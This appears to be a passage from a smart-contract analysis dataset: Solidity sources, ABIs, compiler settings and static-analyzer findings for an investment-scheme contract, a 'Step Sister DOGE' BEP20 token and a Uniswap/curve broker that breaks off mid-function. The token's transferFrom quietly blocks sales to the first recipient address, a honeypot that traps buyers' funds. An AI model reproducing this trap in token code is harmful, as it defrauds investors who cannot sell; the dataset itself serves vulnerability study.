"SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 147, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 475, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 142, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 286, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 539, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 143, "severity": 1}]
[{"constant":false,"inputs":[],"name":"ToDo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addrs","type":"address[]"}],"name":"privateEntranceProvideAccessFor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"disqualifyAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"advertisingAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"rev1StorageAddr","type":"address"},{"name":"timestamp","type":"uint256"}],"name":"init","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"minInvesment","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminsAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"investorsNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maxBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"itisnecessary2","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddr","type":"address"}],"name":"investorDividendsAtNow","outputs":[{"name":"dividends","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"rapidGrowthProtectionmMaxInvestmentAtNow","outputs":[{"name":"investment","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"advertisingPercent","outputs":[{"name":"numerator","type":"uint256"},{"name":"denominator","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminsPercent","outputs":[{"name":"numerator","type":"uint256"},{"name":"denominator","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"setAdminsAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"investmentsNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"dailyPercentAtNow","outputs":[{"name":"numerator","type":"uint256"},{"name":"denominator","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"setAdvertisingAddress","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"investment","type":"uint256"}],"name":"addInvestment2","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"disqualifyAddress2","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"getMyDividends","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"referrerAddr","type":"address"}],"name":"doInvest","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddr","type":"address"}],"name":"investorInfo","outputs":[{"name":"investment","type":"uint256"},{"name":"paymentTime","type":"uint256"},{"name":"isReferral","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"waveStartup","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"balanceETH","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"doDisown","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"rev1Storage","type":"address"},{"indexed":false,"name":"rev2Storage","type":"address"},{"indexed":false,"name":"investorMaxInvestment","type":"uint256"},{"indexed":false,"name":"endTimestamp","type":"uint256"}],"name":"LogPEInit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"},{"indexed":false,"name":"excess","type":"uint256"}],"name":"LogSendExcessOfEther","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":true,"name":"referrerAddr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"refBonus","type":"uint256"}],"name":"LogNewReferral","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"startTimestamp","type":"uint256"},{"indexed":false,"name":"maxDailyTotalInvestment","type":"uint256"},{"indexed":false,"name":"activityDays","type":"uint256"}],"name":"LogRGPInit","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"},{"indexed":true,"name":"day","type":"uint256"}],"name":"LogRGPInvestment","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"},{"indexed":false,"name":"value","type":"uint256"}],"name":"LogNewInvesment","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"investment","type":"uint256"}],"name":"LogAutomaticReinvest","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"dividends","type":"uint256"}],"name":"LogPayDividends","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"addr","type":"address"},{"indexed":false,"name":"when","type":"uint256"}],"name":"LogNewInvestor","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"LogBalanceChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"}],"name":"LogNextWave","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"when","type":"uint256"}],"name":"LogDisown","type":"event"}]
v0.4.26+commit.4563c3fc
true
200
Default
false
bzzr://c6782e2c6ab3eb30191317b88e7e1644cbe2b2f081344fd919119a1289eba6a5
StepSisterDoge
0x1395d2544d00f8fabbe8fdf24841b49a9fc9886e
Solidity
/** */ pragma solidity ^0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract BEP20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenBEP20 is BEP20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "SSDOGE"; name = "Step Sister DOGE"; decimals = 9; _totalSupply = 1000000000 * 10**6 * 10**9; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract StepSisterDoge is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["139"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["69"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["135", "39"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["138"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["61", "58"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["85"]}]
[{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"StepSisterDoge.sol": [17, 18, 19, 20]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"StepSisterDoge.sol": [24, 21, 22, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [40]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [92, 93, 94]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [89, 90, 91]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [64, 65, 66, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [137, 138, 139, 140]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [128, 129, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [121, 122, 123]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [58, 59, 60]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [96, 97, 95]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [111, 112, 113, 114, 115, 116, 117, 118, 119, 120]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [106, 107, 108, 109, 110]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"StepSisterDoge.sol": [98, 99, 100, 101, 102, 103, 104, 105]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"StepSisterDoge.sol": [59]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"StepSisterDoge.sol": [90]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"StepSisterDoge.sol": [112]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"StepSisterDoge.sol": [139]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"StepSisterDoge.sol": [75]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"StepSisterDoge.sol": [89]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"StepSisterDoge.sol": [58]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"StepSisterDoge.sol": [85]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 65, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 93, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 106, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 69, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_REDUNDANT_FALLBACK_REJECT", "line": 130, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 70, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 75, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 78, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 79, "severity": 1}]
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"clearCNDAO","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newun","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newun","type":"address"}],"name":"transfernewun","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]
v0.5.17+commit.d19bba13
false
200
Default
MIT
false
bzzr://1b544f3a661a6edd4ddc94ad05e66677041ffc7d924f508a1a02c1cefb94d791
Eth_broker
0x8f1e749b211967df09204d871e988462eb2e3669
Solidity
// File: contracts/I_Curve.sol pragma solidity 0.5.0; /** * @title Interface Curve * @notice This contract acts as an interface to the curve contract. For * documentation please see the curve smart contract. */ interface I_Curve { // ------------------------------------------------------------------------- // View functions // ------------------------------------------------------------------------- /** * @notice This function is only callable after the curve contract has been * initialized. * @param _amount The amount of tokens a user wants to buy * @return uint256 The cost to buy the _amount of tokens in the collateral * currency (see collateral token). */ function buyPrice(uint256 _amount) external view returns (uint256 collateralRequired); /** * @notice This function is only callable after the curve contract has been * initialized. * @param _amount The amount of tokens a user wants to sell * @return collateralReward The reward for selling the _amount of tokens in the * collateral currency (see collateral token). */ function sellReward(uint256 _amount) external view returns (uint256 collateralReward); /** * @return If the curve is both active and initialised. */ function isCurveActive() external view returns (bool); /** * @return The address of the collateral token (DAI) */ function collateralToken() external view returns (address); /** * @return The address of the bonded token (BZZ). */ function bondedToken() external view returns (address); /** * @return The required collateral amount (DAI) to initialise the curve. */ function requiredCollateral(uint256 _initialSupply) external view returns (uint256); // ------------------------------------------------------------------------- // State modifying functions // ------------------------------------------------------------------------- /** * @notice This function initializes the curve contract, and ensure the * curve has the required permissions on the token contract needed * to function. */ function init() external; /** * @param _amount The amount of tokens (BZZ) the user wants to buy. * @param _maxCollateralSpend The max amount of collateral (DAI) the user is * willing to spend in order to buy the _amount of tokens. * @return The status of the mint. Note that should the total cost of the * purchase exceed the _maxCollateralSpend the transaction will revert. */ function mint(uint256 _amount, uint256 _maxCollateralSpend) external returns (bool success); /** * @param _amount The amount of tokens (BZZ) the user wants to buy. * @param _maxCollateralSpend The max amount of collateral (DAI) the user is * willing to spend in order to buy the _amount of tokens. * @param _to The address to send the tokens to. * @return The status of the mint. Note that should the total cost of the * purchase exceed the _maxCollateralSpend the transaction will revert. */ function mintTo( uint256 _amount, uint256 _maxCollateralSpend, address _to ) external returns (bool success); /** * @param _amount The amount of tokens (BZZ) the user wants to sell. * @param _minCollateralReward The min amount of collateral (DAI) the user is * willing to receive for their tokens. * @return The status of the burn. Note that should the total reward of the * burn be below the _minCollateralReward the transaction will revert. */ function redeem(uint256 _amount, uint256 _minCollateralReward) external returns (bool success); /** * @notice Shuts down the curve, disabling buying, selling and both price * functions. Can only be called by the owner. Will renounce the * minter role on the bonded token. */ function shutDown() external; } // File: contracts/I_router_02.sol pragma solidity 0.5.0; /** * Please note that this interface was created as IUniswapV2Router02 uses * Solidity >= 0.6.2, and the BZZ infastructure uses 0.5.0. */ interface I_router_02 { // Views & Pure function WETH() external pure returns (address); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); // State modifying function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/Eth_broker.sol pragma solidity 0.5.0; contract Eth_broker { // The instance of the curve I_Curve internal curve_; // The instance of the Uniswap router I_router_02 internal router_; // The instance of the DAI token IERC20 internal dai_; // The address for the underlying token address IERC20 internal bzz_; // Mutex guard for state modifying functions uint256 private status_; // States for the guard uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; // ------------------------------------------------------------------------- // Events // ------------------------------------------------------------------------- // Emitted when tokens are minted event mintTokensWithEth( address indexed buyer, // The address of the buyer uint256 amount, // The amount of bonded tokens to mint uint256 priceForTokensDai, // The price in DAI for the token amount uint256 EthTradedForDai, // The ETH amount sold for DAI uint256 maxSpendDai // The max amount of DAI to spend ); // Emitted when tokens are minted event mintTokensToWithEth( address indexed buyer, // The address of the buyer address indexed receiver, // The address of the receiver of the tokens uint256 amount, // The amount of bonded tokens to mint uint256 priceForTokensDai, // The price in DAI for the token amount uint256 EthTradedForDai, // The ETH amount sold for DAI uint256 maxSpendDai // The max amount of DAI to spend ); // Emitted when tokens are burnt event burnTokensWithEth( address indexed seller, // The address of the seller uint256 amount, // The amount of bonded tokens to burn uint256 rewardReceivedDai, // The amount of DAI received for selling uint256 ethReceivedForDai, // How much ETH the DAI was traded for uint256 minRewardDai // The min amount of DAI to sell for ); // ------------------------------------------------------------------------- // Modifiers // ------------------------------------------------------------------------- /** * @notice Checks if the curve is active (may be redundant). */ modifier isCurveActive() { require(curve_.isCurveActive(), "Curve inactive"); _; } /** * @notice Protects against re-entrancy attacks */ modifier mutex() { require(status_ != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to non Reentrant after this point will fail status_ = _ENTERED; // Function executes _; // Status set to not entered status_ = _NOT_ENTERED; } // ------------------------------------------------------------------------- // Constructor // ------------------------------------------------------------------------- constructor( address _bzzCurve, address _collateralToken, address _router02 ) public { require( _bzzCurve != address(0) && _collateralToken != address(0) && _router02 != address(0), "Addresses of contracts cannot be 0x address" ); curve_ = I_Curve(_bzzCurve); dai_ = IERC20(_collateralToken); router_ = I_router_02(_router02); // Setting the address of the underlying token (BZZ) bzz_ = IERC20(curve_.bondedToken()); } // ------------------------------------------------------------------------- // View functions // ------------------------------------------------------------------------- /** * @notice This function is only callable after the curve contract has been * initialized. * @param _amount The amount of tokens a user wants to buy * @return uint256 The cost to buy the _amount of tokens in ETH */ function buyPrice(uint256 _amount) public view isCurveActive() returns (uint256) { // Getting the current DAI cost for token amount uint256 daiCost = curve_.buyPrice(_amount); // Returning the required ETH to buy DAI amount return router_.getAmountsIn( daiCost, getPath(true) )[0]; } /** * @notice This function is only callable after the curve contract has been * initialized. * @param _amount The amount of tokens a user wants to sell * @return uint256 The reward for selling the _amount of tokens in ETH */ function sellReward(uint256 _amount) public view isCurveActive() returns (uint256) { // Getting the current DAI reward for token amount uint256 daiReward = curve_.sellReward(_amount); // Returning the ETH reward for token sale return router_.getAmountsIn( daiReward, getPath(true) )[0]; } /** * @param _daiAmount The amount of dai to be traded for ETH * @return uint256 The amount of ETH that can be traded for given the * dai amount */ function sellRewardDai(uint256 _daiAmount) public view isCurveActive() returns (uint256) { // Returning the ETH reward for the dai amount return router_.getAmountsIn( _daiAmount, getPath(true) )[0]; } /** * @param _buy If the path is for a buy or sell transaction * @return address[] The path for the transaction */ function getPath(bool _buy) public view returns(address[] memory) { address[] memory buyPath = new address[](2); if(_buy) { buyPath[0] = router_.WETH(); buyPath[1] = address(dai_); } else { buyPath[0] = address(dai_); buyPath[1] = router_.WETH(); } return buyPath; } /** * @return Gets the current time */ function getTime() public view returns(uint256) { return now; } // ------------------------------------------------------------------------- // State modifying functions // ------------------------------------------------------------------------- /** * @param _tokenAmount The amount of BZZ tokens the user would like to * buy from the curve. * @param _maxDaiSpendAmount The max amount of collateral (DAI) the user * is willing to spend to buy the amount of tokens. * @param _deadline Unix timestamp after which the transaction will * revert. - Taken from Uniswap documentation: * https://uniswap.org/docs/v2/smart-contracts/router02/#swapethforexacttokens * @return bool If the transaction completed successfully. * @notice Before this function is called the caller does not need to * approve the spending of anything. Please assure that the amount * of ETH sent with this transaction is sufficient by first calling * `buyPrice` with the same token amount. Add your % slippage to * the max dai spend amount (you can get the expected amount by * calling `buyPrice` on the curve contract). */ function mint( uint256 _tokenAmount, uint256 _maxDaiSpendAmount, uint _deadline ) external payable isCurveActive() mutex() returns (bool) { (uint256 daiNeeded, uint256 ethReceived) = _commonMint( _tokenAmount, _maxDaiSpendAmount, _deadline, msg.sender ); // Emitting event with all important info emit mintTokensWithEth( msg.sender, _tokenAmount, daiNeeded, ethReceived, _maxDaiSpendAmount ); // Returning that the mint executed successfully return true; } /** * @param _tokenAmount The amount of BZZ tokens the user would like to * buy from the curve. * @param _maxDaiSpendAmount The max amount of collateral (DAI) the user * is willing to spend to buy the amount of tokens. * @param _deadline Unix timestamp after which the transaction will * revert. - Taken from Uniswap documentation: * https://uniswap.org/docs/v2/smart-contracts/router02/#swapethforexacttokens * @return bool If the transaction completed successfully. * @notice Before this function is called the caller does not need to * approve the spending of anything. Please assure that the amount * of ETH sent with this transaction is sufficient by first calling * `buyPrice` with the same token amount. Add your % slippage to * the max dai spend amount (you can get the expected amount by * calling `buyPrice` on the curve contract). */ function mintTo( uint256 _tokenAmount, uint256 _maxDaiSpendAmount, uint _deadline, address _to ) external payable isCurveActive() mutex() returns (bool) { (uint256 daiNeeded, uint256 ethReceived) = _commonMint( _tokenAmount, _maxDaiSpendAmount, _deadline, _to ); // Emitting event with all important info emit mintTokensToWithEth( msg.sender, _to, _tokenAmount, daiNeeded, ethReceived, _maxDaiSpendAmount ); // Returning that the mint executed successfully return true; } /** * @notice The user needs to have approved this contract as a spender of * of the desired `_tokenAmount` to sell before calling this * transaction. Failure to do so will result in the call reverting. * This function is payable to receive ETH from internal calls. * Please do not send ETH to this function. * @param _tokenAmount The amount of BZZ tokens the user would like to * sell. * @param _minDaiSellValue The min value of collateral (DAI) the user * is willing to sell their tokens for. * @param _deadline Unix timestamp after which the transaction will * revert. - Taken from Uniswap documentation: * https://uniswap.org/docs/v2/smart-contracts/router02/#swapexacttokensforeth * @return bool If the transaction completed successfully. */ function redeem( uint256 _tokenAmount, uint256 _minDaiSellValue, uint _deadline ) external payable isCurveActive() mutex() returns (bool) { // Gets the current reward for selling the amount of tokens uint256 daiReward = curve_.sellReward(_tokenAmount); // The check that the dai reward amount is not more than the min sell // amount happens in the curve. // Transferring _amount of tokens into this contract require( bzz_.transferFrom( msg.sender, address(this), _tokenAmount ), "Transferring BZZ failed" ); // Approving the curve as a spender require( bzz_.approve( address(curve_), _tokenAmount ), "BZZ approve failed" ); // Selling tokens for DAI require( curve_.redeem( _tokenAmount, daiReward ), "Curve burn failed" ); // Getting expected ETH for DAI uint256 ethMin = sellRewardDai(_minDaiSellValue); // Approving the router as a spender require( dai_.approve( address(router_), daiReward ), "DAI approve failed" ); // Selling DAI received for ETH router_.swapExactTokensForETH( daiReward, ethMin, getPath(false), 